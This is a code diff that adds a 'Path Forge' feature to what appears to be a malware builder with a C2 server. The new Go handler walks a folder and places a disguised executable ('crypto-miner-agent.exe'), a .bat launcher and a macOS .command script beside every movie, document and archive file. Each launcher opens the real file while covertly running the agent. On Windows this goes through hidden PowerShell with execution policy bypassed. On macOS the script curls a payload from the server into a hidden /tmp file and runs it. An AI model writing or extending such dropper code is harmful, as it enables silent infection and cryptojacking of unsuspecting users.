diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 13b002f..d7c5d6e 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, nil) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 9c421ad..00c03d2 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { ensureUsersLoaded(dataDir) r := chi.NewRouter() @@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builder r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/estimate", builderHandler.ServeEstimate) + // Path Forge: walk a local server path, place launchers next to every file + if pathForgeHandler != nil { + r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP) + } r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) { token := chi.URLParam(req, "token") if builderHandler.CancelBuild(token) { diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index 935467d..fbd0761 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) { fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil) dlURL := "/api/v1/builds/" + buildID + "/download" @@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) { builderHandler := builder.NewHandler(database, dataDir, "", dataDir) blueprintHandler := NewBlueprintHandler(dataDir) - router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil) + router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil) req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go new file mode 100644 index 0000000..e85d032 --- /dev/null +++ b/server/internal/builder/pathforge.go @@ -0,0 +1,248 @@ +package builder + +import ( + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "os" + "path/filepath" + "strings" +) + +// PathForgeRequest is the JSON body for POST /api/builder/path-forge. +type PathForgeRequest struct { + // RootPath is the local filesystem path to walk recursively. + RootPath string `json:"root_path"` + + // StemMode controls how the output filename is derived: + // "original" → same stem as the source file (Terminator.mkv → Terminator.exe) + // "custom" → use OutputStem for every file + StemMode string `json:"stem_mode"` // "original" | "custom" + + // OutputStem is used when StemMode == "custom". + OutputStem string `json:"output_stem"` + + // TargetWindows / TargetMac selects which launcher files to write. + TargetWindows bool `json:"target_windows"` + TargetMac bool `json:"target_mac"` + + // ServerURL is embedded in the Mac bootstrap curl command. + ServerURL string `json:"server_url"` + + // Extensions lists file extensions to target (dot-prefixed, lowercase). + // Leave empty to use the built-in media list. + Extensions []string `json:"extensions"` +} + +// PathForgeResult is returned by the handler. +type PathForgeResult struct { + Success bool `json:"success"` + Total int `json:"total"` + Placed int `json:"placed"` + Skipped int `json:"skipped"` + Errors int `json:"errors"` + Results []PathForgeEntry `json:"results"` + ErrorList []string `json:"error_list,omitempty"` +} + +type PathForgeEntry struct { + Source string `json:"source"` // original file (relative to root) + Files []string `json:"files"` // companion files placed +} + +// defaultMediaExts is the set of file extensions we target when none are specified. +var defaultMediaExts = map[string]struct{}{ + ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, + ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, + ".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {}, + ".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {}, + ".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {}, +} + +// PathForgeHandler handles POST /api/builder/path-forge. +// It does not compile anything — it locates the prebuilt agent binary that +// lives next to AetherForge.exe and copies it alongside every matching file. +type PathForgeHandler struct { + dataDir string +} + +func NewPathForgeHandler(dataDir string) *PathForgeHandler { + return &PathForgeHandler{dataDir: dataDir} +} + +func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + var req PathForgeRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest) + return + } + if req.RootPath == "" { + http.Error(w, "root_path is required", http.StatusBadRequest) + return + } + if !req.TargetWindows && !req.TargetMac { + req.TargetWindows = true + req.TargetMac = true + } + if req.StemMode == "" { + req.StemMode = "original" + } + + // Locate the Windows agent binary. + agentExe := findAgentBinary() + + // Build the extension set. + extSet := buildExtSet(req.Extensions) + + res := &PathForgeResult{Success: true} + + err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + ext := strings.ToLower(filepath.Ext(d.Name())) + if _, ok := extSet[ext]; !ok { + return nil + } + + res.Total++ + rel, _ := filepath.Rel(req.RootPath, path) + + stem := stemFor(req.StemMode, req.OutputStem, d.Name()) + dir := filepath.Dir(path) + + var placed []string + + if req.TargetWindows && agentExe != "" { + // .exe copy of the agent + exeDst := filepath.Join(dir, stem+".exe") + if copyFileBytes(agentExe, exeDst) == nil { + placed = append(placed, stem+".exe") + } + // .bat launcher that opens the original file AND runs the agent + batDst := filepath.Join(dir, stem+".bat") + if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil { + placed = append(placed, stem+".bat") + } + } + + if req.TargetMac { + cmdDst := filepath.Join(dir, stem+".command") + if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil { + placed = append(placed, stem+".command") + } + } + + if len(placed) > 0 { + res.Placed += len(placed) + res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed}) + } else { + res.Errors++ + res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel) + } + return nil + }) + + if err != nil { + log.Printf("[pathforge] walk error: %v", err) + res.ErrorList = append(res.ErrorList, "walk error: "+err.Error()) + } + + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(res) +} + +// ─── helpers ────────────────────────────────────────────────────────────────── + +func stemFor(mode, custom, filename string) string { + if mode == "custom" && strings.TrimSpace(custom) != "" { + return sanitizeStem(custom) + } + base := filepath.Base(filename) + name := strings.TrimSuffix(base, filepath.Ext(base)) + return sanitizeStem(name) +} + +func sanitizeStem(s string) string { + replacer := strings.NewReplacer( + "/", "-", "\\", "-", ":", "-", + "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", + ) + return strings.TrimSpace(replacer.Replace(s)) +} + +// batContent creates a .bat file that opens the original media file with the +// default Windows player, then silently starts the agent exe. +func batContent(originalFile, exeStem string) string { + return "@echo off\r\n" + + fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) + + fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ + "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem) +} + +// macContent creates a .command shell script that opens the original file on +// macOS and downloads + runs the agent from the C2 server. +func macContent(originalFile, serverURL string) string { + dl := "" + if serverURL != "" { + dl = fmt.Sprintf( + "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ + "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", + serverURL, + ) + } + return "#!/bin/bash\n" + + fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) + + dl +} + +// findAgentBinary looks next to the server executable for the agent binary. +func findAgentBinary() string { + exe, err := os.Executable() + if err != nil { + return "" + } + dir := filepath.Dir(exe) + candidates := []string{ + filepath.Join(dir, "agent", "crypto-miner-agent.exe"), + filepath.Join(dir, "crypto-miner-agent.exe"), + } + for _, c := range candidates { + if _, err := os.Stat(c); err == nil { + return c + } + } + return "" +} + +// buildExtSet merges user-specified extensions with defaults. +func buildExtSet(exts []string) map[string]struct{} { + if len(exts) == 0 { + return defaultMediaExts + } + m := make(map[string]struct{}, len(exts)) + for _, e := range exts { + if !strings.HasPrefix(e, ".") { + e = "." + e + } + m[strings.ToLower(e)] = struct{}{} + } + return m +} + +func copyFileBytes(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + _, err = io.Copy(out, in) + return err +} diff --git a/server/main.go b/server/main.go index e0db327..29dfabe 100644 --- a/server/main.go +++ b/server/main.go @@ -241,12 +241,15 @@ func main() { return configProvider.PublicURL() }) + // Path Forge: server-side recursive file seeding + pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) + // Find web root for frontend webRoot := findWebRoot() log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }) log.Println("Router initialized") diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index ddeaeae..fa30708 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -125,6 +125,19 @@ export default function BuilderPage() { } | null>(null); const [fusionEstimate, setFusionEstimate] = useState(null); const [estimateLoading, setEstimateLoading] = useState(false); + + // ── PATH FORGE (server-side recursive seeding) ───────────────────────────── + const [pfPath, setPfPath] = useState(''); + const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original'); + const [pfStem, setPfStem] = useState(''); + const [pfWindows, setPfWindows] = useState(true); + const [pfMac, setPfMac] = useState(true); + const [pfBusy, setPfBusy] = useState(false); + const [pfResult, setPfResult] = useState<{ + placed: number; total: number; errors: number; + results: { source: string; files: string[] }[]; + error_list?: string[]; + } | null>(null); // Set to true to request cancellation between batch iterations const batchCancelRef = useRef(false); // Tracks the cancel_token of the currently-running forge so we can kill it server-side @@ -457,6 +470,34 @@ export default function BuilderPage() { setBuilding(false); }, []); + const handlePathForge = async () => { + if (!pfPath.trim()) { alert('Enter a folder path first.'); return; } + if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; } + setPfBusy(true); + setPfResult(null); + try { + const { authHeaders } = await import('../api/auth'); + const res = await fetch('/api/v1/builder/path-forge', { + method: 'POST', + headers: { 'Content-Type': 'application/json', ...authHeaders() }, + body: JSON.stringify({ + root_path: pfPath.trim(), + stem_mode: pfStemMode, + output_stem: pfStem.trim(), + target_windows: pfWindows, + target_mac: pfMac, + server_url: form?.server_url ?? '', + }), + }); + const data = await res.json(); + setPfResult(data); + } catch (err) { + setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] }); + } finally { + setPfBusy(false); + } + }; + const handleBatchCancel = () => { batchCancelRef.current = true; // Also kill the currently-running server compile @@ -1941,6 +1982,121 @@ export default function BuilderPage() { )} + {/* ── PATH FORGE ─────────────────────────────────────────────── */} +
+ +

+ For every file found (movies, docs, archives…) the server drops a .bat + .exe (Windows) + and/or .command (Mac) right beside it in the same directory. + The launcher opens the original file normally and silently installs the agent. +

+ +
+ + setPfPath(e.target.value)} + disabled={pfBusy} + /> + Path on the machine running AetherForge.exe (e.g. your USB drive or NAS). +
+ +
+
+ +
+ + + setPfStem(e.target.value)} + disabled={pfBusy || pfStemMode !== 'custom'} + /> +
+ + {pfStemMode === 'original' + ? 'Terminator.mkv → Terminator.exe + Terminator.bat' + : `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`} + +
+ +
+ +
+ + +
+
+
+ + + + {pfResult && ( +
+

0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}> + {pfResult.errors === 0 && pfResult.placed > 0 + ? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files` + : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`} +

+ {pfResult.results.slice(0, 20).map((r, i) => ( +
+ {r.source} + {' → '} + {r.files.join(' ')} +
+ ))} + {pfResult.results.length > 20 && ( +

…and {pfResult.results.length - 20} more

+ )} + {pfResult.error_list?.slice(0, 5).map((e, i) => ( +

{e}

+ ))} +
+ )} +
+ {!simpleMode && ( <>
diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index 743b2ce..fb59724 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index f1d4888..55d058a 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ